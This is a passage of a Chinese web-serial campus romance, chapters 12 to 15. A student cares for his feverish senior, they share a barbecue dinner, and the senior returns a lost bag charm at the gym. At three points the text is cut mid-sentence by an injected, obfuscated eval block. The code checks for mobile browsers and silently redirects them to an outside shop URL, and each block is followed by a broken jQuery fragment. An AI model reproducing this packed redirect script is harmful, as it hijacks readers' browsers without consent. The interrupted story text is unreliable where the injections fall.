江洛走后,顾时越夹起面里的胡萝卜片咬了一小口。 他很讨厌胡萝卜的气味,但最后还是把面和胡萝卜都吃完了。 江洛遛弯猫回来的时候客厅空无一人,茶几收拾得很干净,灯还亮着。江洛以为顾时越回房休息了,眼神一晃却见浴室的灯亮着,磨砂质感的玻璃门上蒙了一层白雾。 “咔哒”一声,浴室门被人从里面打开了。 顾时越穿着一身黑色暗纹睡袍从里面走出来,头发还是湿的。 江洛睁大眼睛站在原地,愣愣地看着他。 一片雾蒙蒙中,顾时越的目光自然地扫过来。 江洛张了张嘴,有点无奈:“你怎么还洗澡啊学长,这会儿洗澡更容易着凉啊……” “身上有味道。”顾时越说,“不舒服。” “你就忍一下么,发着烧还洗澡到时候烧得更严重了怎么办。”江洛看了眼他半湿不干的头发,微微皱了皱眉,“头发也不吹干。” “先把头发吹干吧,学长。”江洛真怕顾时越到时候烧得更严重了,他真的很怕身边的人生病。 顾时越朝卧室的方向走去:“等会儿。” “别等会儿。”江洛径直朝他走去,拦在他面前,态度突然强硬,“就现在。” 顾时越垂眸看着面前的男生。 江洛一心关心顾时越的病,都没意识到此时此刻他和顾时越的边界感几乎被打破了。 人家可是刚洗完澡,还穿着睡袍。眼下这个状态是隐私的不能再隐私了。 换成其他刚认识没多久的人,遇到这种情况江洛肯定早就撤出家门去了,哪可能像现在这样还走到人家面前,要求人家去把头发吹干。 “现在就去吹吧,你这样湿着头发不是雪上加霜嘛。”江洛仰头看着他,“去吧去吧,学长。” 他一副哄人的语气,听他说话总是很受用。 顾时越不知道哪时候生出的反骨,偏要招他:“不去又怎么样?” 江洛也知道他是在开玩笑,嘴唇一抿,直勾勾地盯着他:“不去我就不走了,在这盯着你,盯到你去为止。” “那你不用走了。”顾时越作势要往卧室走。 江洛忍不住笑了,伸开胳膊拦住他:“哎学长你别闹了,求你了快去吧,我在这等你,快去快去。” 顾时越不逗他了,问他:“等我干什么。” “等你吹完出来。”江洛双手叉腰,“我要亲眼确认你吹干头发回房间躺下之后再走。” 顾时越去吹头发了,江洛在外面等着,顺便陪棉团玩了一会儿。 几分钟后,顾时越从浴室出来,顶着一头蓬松乌黑的头发。他的发色跟他的瞳孔颜色一样,很深,漆黑如墨。 “这就对了嘛。”江洛笑了下,“那我走了啊学长,你好好休息,记得冷敷降温。” 江洛忽然想起了什么,又补充道:“要是后续发冷的话你要注意保暖,盖好被子,不过别捂太严实。总之就是冷了保暖,热了降温,还要多喝水。” “不是要亲眼确认我回屋躺下之后再走吗。”顾时越一边说着一边往卧室走。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16833344|190239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江洛正要走,闻声回了下头:“嗯?” 顾时越站在房门口,手搭在门把上,看着江洛这边:“我还没回房间,你这就算是确认了?” 江洛眨了眨眼,表情有点愣。不过他很快就反应过来了,笑了一下,还没开口就听到顾时越说:“过来。” 江洛一愣:“啊?” 顾时越今天逗人逗上瘾了,看着江洛,说:“过来确认。” 江洛刚才说是那么说,不可能真的跟过去看顾时越躺没躺床上,他跟顾时越还没熟到可以随便进人家卧室的程度。他笑了笑:“我在这确认也行,你进去吧,我看着呢。” “让你过来。”顾时越说。 他语气平淡,却带着不容抗拒的意味。江洛不是那种听之任之的性子,他脾气软不软也看对象。因为对这位顾学长有很厚的滤镜,他在人家面前可以说是相当乖相当软了。 学长说什么是什么。 “好的吧。”江洛点点头,听话地走了过去。 江洛有点糊涂了,不知道顾时越意欲何为。他怀疑可能是自己刚才的一系列行为有点太较真太越界而导致顾时越此刻以彼之道还治彼身? 江洛在距卧室门口两步之遥的地方停了下来。 顾时越问他:“站那里看得到?” 江洛又往前挪了半步,小声说:“你不会还要让我进去确认吧。” 顾时越推开房门:“你要想进去也可以。” 江洛眼巴巴地看着他的背影:“学长你是不是故意治我呢。” 顾时越回头看他一眼。 “我刚太较真给你惹毛了是不是。”江洛眨了眨眼睛,笑着问。 “想象力太丰富。”顾时越评价了一句随后推门进去了,门没关,留给江洛检查确认。 顾时越也觉得今天自己有点莫名其妙,可能发烧把人烧不正常了。只能说不可否认,他确实有点喜欢这种被关注着的感觉。 就像刚才躺在沙发上睁眼的一瞬间,眼前是那双熟悉的眼睛。 这双眼睛温和地、关切地注视着他。 现在这双眼睛要移开,他或许是潜意识里想要把它留住。 房间里有恒温饮水机,顾时越倒了杯水喝了一口,站在床边看着门口。门半开着,江洛没上前来,还站在原处,半侧身影被挡在门框后面。 江洛虽然在门外,但没往屋里看,他觉得这有点越界。 顾时越也不说话,喝完水就上床躺着了,留江洛一个人在门口凌乱。 他的视线始终落在门口方向,江洛也始终没上前一步,在门外笑着说:“学长你肯定是治我呢吧。我现在感觉像在坐牢。” “我可以越狱吗?”江洛非常跳脱地问了一句。 顾时越回他:“可以。” 江洛临了也没弄明白顾时越这一系列操作是怎么个意思,就觉得顾时越应该是在跟他闹着玩。他不想打扰顾时越休息,说了句“我确认过了嗷”就低着头把门关上了。好像屋里有什么不能正眼瞧的东西似的,连看都没往里面看一眼。 顾时越扯着嘴角嗤笑一声,心想你确认个什么了。 13.第 13 章 顾时越吃了药,睡了一觉,早上醒来好多了,他体质没那么弱,昨天烧得那么厉害主要还是因为舟车劳顿,没休息好。 天刚亮,窗户拉着,屋里还很暗。顾时越拿起床头柜的手机看了眼时间,屏幕亮起来的一瞬间最先映入眼帘的是江洛十分钟前发来的消息。 江洛:学长,你怎么样了? 江洛:烧退了吗? 顾时越盯着屏幕看了片刻,随后打字回复:退了。 江洛秒回:你醒那么早! 江洛:真退了啊? 江洛:你测体温了吗? 顾时越:没有 江洛:测下体温吧,保险,你家药箱里有额温计 江洛:测好了告诉我,我先去洗脸了 顾时越下床去拿额温计测了体温,确实退烧了,他回了个消息给江洛:退了。 江洛:好的好的 江洛:退了就好 顾时越去卫生间洗漱,回房换衣服的时候手机上又多了几条江洛发来的消息。 江洛:学长你这周哪天晚上有空啊? 江洛:我想请你吃个饭 江洛:我没别的意思,就是想感谢你一下。 江洛:谢谢你雇我喂猫猫。 这顿饭江洛早就想请了,之前一直没找着合适的机会说。 顾时越:不用 江洛:用的用的 江洛:那要不然你就当是我单纯想请你吃个饭 江洛:学弟想和学长一起吃饭总可以的叭 江洛发了个小狗委屈的表情包过来。 江洛:可不可以啊学长? 顾时越回:可以 江洛:好! 江洛正打算问约哪天,顾时越突然回了一句:我请。 江洛:啊? 顾时越:不白吃你的生日面。 江洛:哈哈哈 江洛:那我不是太占你便宜了 江洛:我那生日面那么一言难尽 江洛:这可不行 江洛在宿舍阳台收袜子,腾不出手打字,就发了条语音过去:“说好了我请客的。是我先说的,学长。” 顾时越也回的语音:“你的饭留到下次,这次我请。” 江洛按住录音键刚想说话,又收到顾时越一条语音。他点开听了下,顾时越问:“有异议吗?” 江洛又在无形之中被反客为主了,笑着回道:“好吧,没有异议。” 江洛进了屋里,室友都在,一个个都还睡眼惺忪的,他不太方便发语音,于是又换成打字回复:那我们约哪天啊? 顾时越:今天晚上要家教吗? 江洛:不要[转圈] 顾时越:那就今天 江洛:好 两人约了个时间,这天江洛下午只有两节课,能早点赴约。 这学期江洛他们校队要参加icpc全国区域赛,差不多是在十一十二月份的时候。中午校队队长秦一帆在群里发了条通知,让队员们今天傍晚五点半去校队实验室开个短会,主要是讲备战区域赛的事。 江洛和顾时越本来约的是五点半,因为要开会,就改到了六点。以往开会时间都不长,半小时内肯定能结束,谁知道今天教练滔滔不绝,眼看快到六点这会还没有开完的架势,江洛赶紧给顾时越发了个消息:学长,我还在实验室开会,可能会晚一会儿到,要不你先过去吧。 他俩约在学校北门碰面,顾时越刚从他导师办公室出来,正往学校门口走。 顾时越问:在哪开会? 江洛:我在计科院 顾时越:知道了 顾时越:我过来找你 江洛:没事你先去吧,我开完会马上就过去 顾时越:一起过去 顾时越:定位给我 江洛:纳尼? 顾时越:纳什么尼,定位。 江洛:噢噢 在此之前,顾时越并不知道江洛是计算机专业的。他按江洛给的定位找到了计科院。江洛刚开完会,背着书包急匆匆下了电梯,他一边给顾时越发消息一边往楼外狂奔,刚出大楼就被后面跟上来的秦一帆一把薅住:“上哪儿去啊跑这么快。” 顾时越站在大楼外几步之遥处,看到江洛被一个男生从后面圈着脖子,两个人挨得很近,在说话。 “我说你刚才开会的时候怎么心不在焉的,原来心早飞远了。”秦一帆笑着问江洛,“干什么急成这样,约人了啊?对象?” 秦一帆说了什么江洛没注意听,心思不在这,顾时越说会过来找他,他下意识往大楼外看了一眼。 这一眼,正好跟站在不远处的顾时越对上了。 见江洛不说话,秦一帆“嚯”了一声:“真给我说中了啊?” 江洛才回神,转头看他一眼:“嗯?” “嗯啥嗯。”秦一帆戳了戳他脑门,“你瞅瞅你这心不在焉的样子,是不是谈朋友了?” 江洛无奈地笑了:“队长你怎么张嘴就来啊。” 秦一帆一身蛮劲,江洛被他圈着脖子无法动弹,扯他胳膊又扯不开。 “又成了我张嘴就来了,刚才开会的时候我可瞧见了,半小时你看了不下十次手机。” “队长我赶时间,你先放了我行不?脖子都给你勒疼了。” 秦一帆还是没放他:“没俩月就打比赛了,我跟你讲你这个状态可不行。” “我真没谈朋友……”江洛没招了,朝不远处的顾时越看了一眼。 顾时越看着这边,脸上没什么表情。 江洛不管了,直接朝他求救:“学长救我。” 秦一帆愣了愣,循着他的目光抬眼看去,手里松了劲,江洛顺势从他胳膊底下钻出来了。 江洛背着书包跑去顾时越那边,开玩笑地说:“学长,看我被人挟持了你也不帮我。” 顾时越看了眼秦一帆的方向,垂眼问江洛:“谁?” “嗯?”江洛回头看了眼,“哦他是我竞赛队的队长。” “什么竞赛队?” “算法竞赛。”江洛笑了笑,“我是计算机专业的。” 秦一帆走过来,看了眼顾时越,问江洛:“洛仔,这是……?” “是我认识的学长。”江洛特意强调了一下“学长”两个字,“这下不用我再解释了吧,队长。” 秦一帆失笑:“倒是我想岔了。”他冲顾时越笑了笑,跟他打了个招呼:“你好。” 顾时越点头给了个回应。 “啊。”江洛点点头,“那可不,就是你想岔了,岔到北极了。” 秦一帆笑着弹了弹他的额头:“我就算岔到南极又怎么。” 楼里陆陆续续有人走出来,路过江洛和秦一帆的时候跟他俩打招呼,还朝顾时越看了看。 “行了,那我先走了。”秦一帆跟江洛说,“回见吧。” “再见队长。” “走吧学长。”江洛走到顾时越旁边。 顾时越漫不经心地问了句:“你跟谁吃饭,还需要跟你竞赛队的队长解释吗。” 江洛扭头看向他。 “需要解释什么。”顾时越边说边往前走,“说给我听听。” 江洛反应过来,笑着说:“我刚开会的时候老拿手机看,走得又急,他以为我是约了对象。还好你本尊在现场,不然我跳进黄河都说不清。” 江洛忽然歪过头看了看顾时越的脸。 顾时越对上他的视线:“看什么。” “检查一下你的精神面貌。”江洛问他,“烧真的退了吧?身体怎么样?还有没有觉得不舒服?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837171|190239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是不是应该给你带个额温枪测测。” “哈哈,我觉得可以,早知道让你带上了。” 身后有人跟江洛打招呼,江洛回头应了一声,转身的时候手背不小心蹭到了顾时越的手背。顾时越的手挺热的,江洛下意识觉得他没退烧,睁大眼睛问:“你手怎么这么热?你烧真的退了?” “需要我现在回去给你拿额温枪吗。” “你不要开玩笑了学长……”江洛眉心蹙了起来。 顾时越确实没想到他会在这件事上这么严肃,低声跟他说:“我说退了就退了。” 江洛眉头还拧着。 顾时越说:“没有额温枪还有手,你要实在不放心可以用你的手测。” “那我测了。”话音未落,江洛就走到顾时越面前,抬起手覆在了他额头上,行动很迅速。江晨以前一发烧江洛也紧张,尤其是烧一直不退的情况,会让他觉得很慌,他是有点条件反射了。 江洛仰着头,眉心蹙着,手在顾时越的额头停留了几秒,感知他的体温。 晚风拂过,江洛额前的头发随风微微扬起。 顾时越眼眸微垂,沉默地凝视着他。 额头的温度是正常的,江洛放下心来,拧着的眉头也松开了。 “放心了?”顾时越问。 江洛把手拿开,嘿嘿笑了两声:“放心了。”他瞄了一眼顾时越垂在身侧的手,“你的手咋那么热啊,我真以为你没退烧呢。” “是你的手冷。”顾时越说。 今天是阴天,还降温了,江洛的手确实有点冷。 两个人今天吃烤肉,是顾时越让江洛定的。江洛想着吃火锅有味道顾时越估计不喜欢,吃炒菜两个人又划不来,就选了个烤肉。 两个人没去太远的地方,就在学校附近一家生意很好的烤肉店。 一进门服务员就热情地领着他们往里面走,给他们挑了个靠窗的位置。江洛把书包放一旁椅子上,顾时越往他书包上看了一眼——款式很简单的黑色书包,上面挂了好几个毛茸茸的玩偶挂件。 江洛把点菜用的平板递给顾时越,顾时越没接,说:“你点。” “好。你有什么忌口的吗?” 顾时越忌口的可太多了,他没一一列举,只道:“你点你想吃的就行。” “牛肉你吃吗?”江洛问。 顾时越点头。 “羊肉呢?” 顾时越摇头。 “猪肉呢?” 顾时越端起杯子喝了口茶,开口道:“你是准备把菜单上的菜都给我报一遍?” 江洛笑了起来。 “说了点你想吃的就行,不用问我。” 江洛点点头:“好的。” 今天是顾时越请客,江洛没点太多,点了几样自己爱吃的,剩下的点的主要都是牛肉。因为顾时越吃牛肉。 正式开吃之后江洛才知道顾时越的忌口范围有多广了。据他观察,顾时越不吃洋葱,不吃香菜,不吃土豆,不吃生菜,不吃菇类,不吃内脏,酱料只蘸不带葱姜蒜的,饮料只喝不带甜味的。 顾时越吃东西还特别斯文,安安静静,慢条斯理的。 江洛吃得有点饱了,双手撑着下巴,一边吸可乐一边眼巴巴地看着顾时越,突然笑了声说:“学长,你吃饭好好看啊。” 顾时越刚吃进去一小片牛肉,闻言抬眸看了他一眼。 “你吃饭也不难看。”顾时越回了一句。 江洛“噗嗤”乐了:“我说真的,看你吃饭很舒服,感觉在看那种ASMR视频,现场版的。” 江洛猛吸了一口可乐,又咬着吸管说:“不过主要还是人好看。” 天然捧场王向来嘴甜,夸人的时候眼神也很坦然,就这么大大方方地直视着顾时越。 14.第 14 章 江洛说这话完全是出于真诚,因为顾时越帅得太客观了。吃相斯文,长得又英俊,用餐的样子当然很养眼。 顾时越没接话,他已经熟悉江洛率真的一面,知道他的话不掺杂其他任何意味。不过顾时越还没完全习惯江洛的这种率真,这人说话总打直球,不仅直,还甜,情绪价值给得满满的,想什么说什么,你永远不知道他下一句能蹦出什么来。 江洛又直勾勾盯着顾时越看了一会儿,没人敢这么明目张胆地盯着顾时越左看右看,顾时越抬起眼皮看他一眼:“回去录个视频给你当ASMR看?” 江洛咬着吸管笑了:“那我还是看现场的吧。你要是不让我看就跟我说一声,我保证听话。” 顾时越嗤笑一声,垂眼夹菜,没再看江洛。他不常笑,笑起来也不明显,嘴角上扬两个像素点,但很好看。江洛觉得这是他的功劳,他把人逗笑了。他也确实有意地在撩拨顾时越的情绪,他平时跟人说话没这么皮。顾时越太冷了,情绪总在低处,像块冰窟窿,他想给人家化化冻。 说到冰,江洛忽然想起来自主调料台有冰淇淋,他站起来道:“我去拿点冰淇淋,学长你吃吗?” 顾时越摇头。 “水果呢?” 顾时越说:“我不吃,你拿你自己吃的。” “好。” 江洛没拿水果,各种口味的冰淇淋都拿了一点,这家烤肉店的冰淇淋不是杂牌的,味道挺不错。江洛食量小,正餐没吃多少,那点肚子全用来装可乐和冰淇淋了。 手机放桌上震了好几下,嗡嗡嗡的没个消停,江洛拿起来看了一眼——是微博的转发消息。快放国庆长假了,这个假期江洛要去一个大型漫展开签售会,他很早之前就收到了主办方的邀请,今天主办方官博发了官宣微博,艾特了受邀嘉宾。 官宣微博被大量转发,江洛也收到了好多艾特通知。他点开消息看了看。 -卧槽居然是真的?真的有洛c啊???? -终于官宣了!!!!!!! -我靠我靠我靠在哪抢票在哪抢票在哪抢票? -我疯了竟然是真的我疯了我疯了我疯了 -啊啊啊啊啊啊啊啊啊啊啊宝宝我来了 -老天保佑我抢到票啊啊啊啊啊啊啊啊啊啊 -我服了怎么现在才官宣啊这都几号了 -呜呜呜呜呜呜呜呜呜宝宝我一定要见到你 …… 江洛cos的角色偏少年感风格的居多,所以他妈粉也挺多的。每次在社交平台发照片,评论区都有一堆姐姐粉妈妈粉喊他宝宝,他都习惯了。 这条官宣博倒是提醒了江洛,国庆长假他不在校,顾时越要是需要人帮忙喂猫,他肯定去不了,他得提前跟顾时越打声招呼。 “学长。”江洛叫了声。 顾时越抬眼看他。 “你国庆假期需要人喂猫不?” “看情况。怎么?” “我国庆不在学校,你要是需要人上门喂猫,我大概去不了。我先提前跟你报备一下。” 顾时越“嗯”了声,说:“没事。我找别人。” 江洛“啊”了一声,拿勺子戳了戳碗里的冰淇淋,看着他说:“你还有别人呢。” 这话问得其实挺莫名其妙的,肯定有别人啊,不然顾时越找他喂猫以前都是找谁喂的猫呢。不过一想到除了自己还有其他人能上门给顾时越喂猫,江洛心情还是有点微妙的,他说不清那是什么感觉,可能是同行竞争意识? 顾时越盯着他看了片刻,反问:“不能有别人?” 江洛忙说:“不是……”他低头搅了搅碗里的冰淇淋,“我不是那个意思。我就是……有职业危机感嘛,怕人家抢了我的饭碗。” 江洛脑子一团浆糊,开始胡言乱语,本来就没弄明白自己什么心理,说出口又更是另一回事。说完自己都笑了,吃了口冰淇淋说:“学长,我在说梦话,你就当没听到。” “哪句开始是梦话?” 江洛抬起头,眨眨眼睛:“都是。” “‘你还有别人呢。’”顾时越语调漫不经心的,“这句也是?” “是的吧……”江洛含糊地说,垂眼微微笑着,“我就顺嘴这么一说,没过脑,你听过就算了,学长。” “没有别人。”顾时越说,“也没人抢你的‘饭碗’。” 江洛抬眼看向他,愣了片刻,问:“那你说的‘别人’是谁啊?” “家里保姆。” “啊……”江洛一脸恍然大明白的表情。 “还有职业危机感吗?”顾时越问。 江洛被逗笑了:“没了没了。” 他和顾时越确实很能聊到一块去,两人电波很合,说什么玩笑话都能无缝接上。 手机还在震个不停,江洛把微博通知关了,继续吃他的冰淇淋。 国庆那场漫展就在本市,这次去开签售会,江洛作为受邀嘉宾有一个免票名额,如果不是因为有正事,其实他挺想邀请顾时越一起逛逛漫展的。 江洛吃着冰淇淋琢磨这事儿,顾时越看他一脸心不在焉,冰淇淋都吃到嘴边了,问了一句:“想什么?” “嗯?”江洛回过神,咬着勺子呆呆地看着他,嘴角挂着化开了的冰淇淋,巧克力色的。 “问你想什么。”顾时越视线落在他的嘴边,光看,也不提醒。 “我在想邀请你去漫展的事。”江洛把冰淇淋放一边,把情况跟顾时越说明了一下。 “就是那天我没什么时间能跟你在一块儿,也怕你对漫展什么的不感兴趣。”江洛摸了摸鼻子,“我刚就想这事儿呢。” “那你是想我去还是不想我去。”顾时越问。 “我想你去啊。”江洛立马说,“不过还是要看你感不感兴趣,你要是感兴趣的话可以去玩玩,还挺有意思的。” “那天不一定一整天都有空,有时间就去。” “你要去啊?”江洛眼睛一亮,“那你要带朋友吗?我应该能再争取一个名额,你可以带个小伙伴。” “不带。” 江洛“唔”了声:“那你到时候可以找影总,她也会去,你俩能搭个伴。” “我就非要带个人?” 江洛笑了下:“我不是怕你一个人没劲么。那你来看我不?” 顾时越心道你以为我是看在谁的面子上才答应去的。 “除了你我还能看谁。”顾时越说。 江洛笑得一脸灿烂:“也是啊。” 正聊着,有人路过他们这一桌,忽然回头朝他们看了一眼,视线是落在顾时越身上的。是个年轻女性,看着像大学生,她看一眼就收回了视线,转头跟旁边的同伴小声说了什么,然后那个同伴也回头看了顾时越一眼。 这家烤肉店离他们学校不远,平时经常有学生来这吃饭,碰见他们学校的人也不奇怪。江洛估摸这两个人就是他们学校的,他问顾时越:“学长,那两个人是不是跟你认识啊?” 顾时越顺着他的目光看去,说:“不认识。” “啊,那她俩怎么老回头看你。”江洛说话的时候嘴边还是黑乎乎的,沾着巧克力冰淇淋,顾时越没提醒他就一直没发现。 “嘴。”顾时越提醒,“擦擦。” “啊?”江洛一愣。 顾时越没说话,只是盯着他的嘴角。 江洛顿时反应过来,拿手机屏幕一照,气笑了:“你是不是故意的啊学长,现在才跟我说。” 顾时越点头,轻描淡写道:“嗯,是故意的。” 这顿饭快结束的时候,江洛收到了程嘉树的消息,程嘉树叫他去学校体育馆打羽毛球。江洛抽空回复了他:我还在吃饭。 程嘉树打了通电话来:“你在哪儿吃饭啊?这么晚了还没吃好啊。” “外面,快吃好了。”江洛看了眼时间,才七点半,哪儿晚了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16841713|190239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “那你吃好了过来,我们还没过去。我去你们宿舍给你拿球拍。” “我还要一会儿呢。” “你吃你的呗,我们先打,等你。” “行吧。” 江洛挂了电话,本来想问问顾时越有没有兴趣一起去打羽毛球,一想人家除了他跟谁都不熟,去了估计也挺不自在的,就没问。 “有事?”顾时越问。 “没事。我朋友叫我去体育馆打羽毛球,我吃完饭再过去,不着急。” “嗯。” 吃完饭两人一起回的学校,顾时越没回校外住的小区,他还要去趟学院。两人在校门口告别,江洛直接去了体育馆,程嘉树和他叫的几个人已经打上了。江洛在旁边看台的座位上坐了下来,朝程嘉树挥了下手,程嘉树拎着球拍过来,往他旁边椅子上一放。 “我想歇会儿。”江洛伸长了腿晃晃,“你先打着,我消消食。” 程嘉树在他另一边坐下来:“上哪儿吃大餐去了居然不叫我。” 江洛眯着眼睛笑笑:“不好意思,佳人有约。没法叫你。” 程嘉树猛地一转头:“啥玩意儿?佳什么人?你谈恋爱了?” 江洛笑了声,不跟他开玩笑了:“没有,逗你的。不过佳人的确是佳人,超级大帅哥。” “你再跟我打哑谜试试?”程嘉树一把勒住他的脖子,把他箍在胳膊底下,“什么超级大帅哥?说人话。” 江洛挣开他的胳膊:“你也认识的。” “我也认识?”程嘉树动作一顿,“超级大帅哥?影总他哥啊?” 江洛看了他一眼:“脑子转这么快。” “废话,我和你都认识的人里除了他还有谁跟超级大帅哥这几个字挂边的。你怎么跟他吃上饭了?” “我俩关系好呗。”江洛晃了晃身子,说。 “呵。” 程嘉树今天叫了他几个室友,有位室友还带了女朋友,女朋友又带了一个女同伴,总之招来一帮人。那些人打了一会儿走过来跟他们打招呼,坐下来休息了一下。 体育馆有好几个球场,篮球场排球场羽毛球场都有,江洛他们在的这个球场离体育馆大门最近。江洛坐在那儿,看到门口走进来几个人,为首的拿着篮球,最后进来的是一个熟悉的身影。 江洛目光一顿,定在那个方向。 顾时越的身形太优越了,个子又高,在人群中很显眼,隔这么远的距离江洛都能一眼看到他。 顾时越忽然转头,似乎是朝这边扫了一眼。江洛秉着呼吸,要不是周围人太多,他肯定就直接跟顾时越挥手打招呼了。 顾时越好像看到他了,视线忽然停在他的方向,随后跟他前面的人说了句话,就朝这边走来了。 江洛坐在原处不动,脑子转得有点慢,他还不确定顾时越是不是过来找他的,不敢贸然跟他打招呼。万一不是找他的不就尴尬了。 程嘉树看见了顾时越:“哎那不影总他哥吗?” 众人循着他的目光看去,他室友女朋友带来的女同伴有点意外地看着他:“你认识顾时越啊?” “啊?你也认识啊?”程嘉树更意外,“你怎么认识他?” 那女生笑了笑:“他很出名啊。” 程嘉树一根筋,脑子没转过来:“怎么个说法?” “还能怎么个说法。”女生轻笑,“当然是因为帅啊……我们班好多女生都知道他,咱学校的风云人物啊。他还是航空学院的,很牛的。” 程嘉树瞬间了然:“懂了懂了。” 正说着,顾时越已经走近了,他在众人的目视之下走到了江洛面前。 程嘉树“哟”了一声:“佳人来了。” 江洛噌地一下站起来:“学长。” 顾时越“嗯”了声。 “你……找我啊?”江洛小声问。 顾时越看着他:“除了你我还能找谁。” 15.第 15 章 江洛还在发愣,顾时越从外套口袋里拿出了个毛绒挂件,递给他。 江洛一愣,那是他书包上的挂件。 旁边几个人不知情,还以为这挂件是顾时越送给江洛的,男生给男生当众递东西,还是毛绒挂件,这画面有点诡异又有点引人遐想,旁边两个女生你看看我,我看看你,眼神里带着点不太明显的笑意。 “是不是你的?”顾时越向他确认了一下。 “是的是的。”江洛赶紧接过挂件看了看,抬头问顾时越,“学长,你在哪儿捡的啊?” “掉在吃饭的地方了,刚才店里的人给我打了电话。” 顾时越离开学院没多久就收到了烤肉店店员打来的电话,刚才吃饭是他结的账,烤肉店那边有他的联系方式。那个挂件估计是江洛起身的时候卡在椅背的木条上被拽下来的,服务员收拾桌子在椅子底下看到,收在柜台等了半天没见客人回来拿,就联系到了顾时越。 烤肉店不远,顾时越直接返回去拿了挂件,本来想过几天再找机会还给江洛,恰好刚才项勤问他打不打球,他就应下顺便过来了。项勤他们本来要在室外球场打,是听顾时越的才来了体育馆。 “你回烤肉店帮我拿的啊?”江洛有点惊讶,顾时越没联系他,居然自己跑了一趟,“啊……谢谢你啊,学长。” 顾时越没说什么,旁边程嘉树跟他打招呼:“哈喽,越哥。” 顾时越看向他。 “你还记得我吧。”程嘉树笑着挑挑眉。 “记得。” “好好好,记得就好。”程嘉树欠兮兮的,有意提起江洛刚才说的话,“哎不能叫‘越哥’了,该换称呼了。” 顾时越不明所以,挑了下眉:“什么称呼?” 江洛顿觉不对,等要阻止之时程嘉树已经开口了:“佳人啊……” 这会儿顾时越还没听明白,以为是那个“家人”,程嘉树笑得蔫儿坏,继续给江洛惹事:“某人说的啊,跟你佳人有——” 程嘉树话还没说完就被江洛捂住了嘴。 江洛瞪着他,用眼神质问:你要毁了我吗? 程嘉树乐得要命,就是没想到江洛反应会这么大。 顾时越已经猜到程嘉树后半句没说完的是什么,但他还是问江洛:“捂他嘴干什么,有什么话不能让我听。” 江洛转头看向他,手还捂在程嘉树嘴上,干笑道:“他嘴里能有啥好话,你别听了。” 江洛捂着程嘉树的嘴,他们俩现在的样子其实有点亲昵。程嘉树“唔唔”两声,装模作样的,其实随手就能把江洛的手推开,他就是在跟江洛玩儿,还很乐在其中。顾时越看在眼里,脸上没什么表情。 “手拿下来。”顾时越看着江洛,语气不紧不慢的,“让他把话说完。” 江洛抿了抿嘴,用只有他俩才能听到的音量小声说:“回头我跟你说好不好,用不着听他说。” 他倒不是怕顾时越知道自己刚才说的那个玩笑话,只是旁边还有其他人,这话他自己说说也就罢了,他不想让外人也听到,好像拿顾时越寻开心似的。 “我让你把手拿下来。”顾时越说。 江洛只好把手拿开,耷拉着个脸,有点心虚地站在那儿。 程嘉树这会儿消停了,嘴巴重获自由却没再瞎叭叭:“我还说么?不说了吧。” 顾时越并没再追问他,而是看着江洛说:“我等你回头自己跟我说。” 江洛先是一愣,而后飞快地点了点头。 项勤过来了,跟江洛打了声招呼:“晚上好啊学弟。” 江洛笑了笑:“晚上好。” 项勤看了看顾时越,对江洛说:“我说他过来干什么呢,原来是你在这。” 项勤刚才进来的时候夹在一帮人中间,江洛都没注意到他。 “你早知道学弟在这吧?”项勤看着顾时越,挑了下眉,“我想你眼神也不至于好成这样,一进来就看见他在哪儿了。难怪要换场地,专门过来找学弟的?” 项勤还不知道顾时越是来给江洛送挂件的,笑了声问:“怎么个情况,你俩约好的?” 江洛说:“不是,学长给我送东西来的,我刚把东西丢吃饭的地方了,他帮我拿回来的。” 一句话牵出萝卜带出泥,项勤反应很快:“吃饭?你俩刚才在一块儿吃饭?” “啊。”江洛点了点头。 项勤看了顾时越一眼,有点意外。 “走了。”顾时越说。 “那我们先过去了。”项勤对江洛说。 “好。”江洛点点头。 顾时越转身就走,多余的话也没说,给江洛留下一个背影,看起来就是单纯来给他送挂件的。 “你认识的人够多的啊。”程嘉树曲着胳膊往江洛肩膀上一搭,“这怎么又是个认识的学长?” 江洛把他胳膊拍开:“一天天的净挑事儿。” 程嘉树笑了:“我挑什么事儿了?这不是你说的佳人有约,我转述一下成挑事儿了啊?” “我还不知道你,看热闹不嫌事大。” “你还说我呢,你反应那么大干嘛?”程嘉树压根就没想到江洛会有那么大的反应,他刚开始就是嘴欠,说着玩儿,结果江洛反应一大他就更来劲了,后来确实有点看热闹不嫌事大的嫌疑。 “人家是学长,别当那么多人的面瞎开人家玩笑。” 后来几个人没再在这坐着,上场打了会儿球,打了半小时,江洛和程嘉树下场休息。程嘉树喝水的间隙刷了会儿手机,江洛国庆假期要去漫展开签售会,他主页也刷到了相关帖子。他点开帖子看了看,问江洛:“你这次漫展出谁啊?” “到时候看。”江洛说。 “哟,还保持神秘呢。” 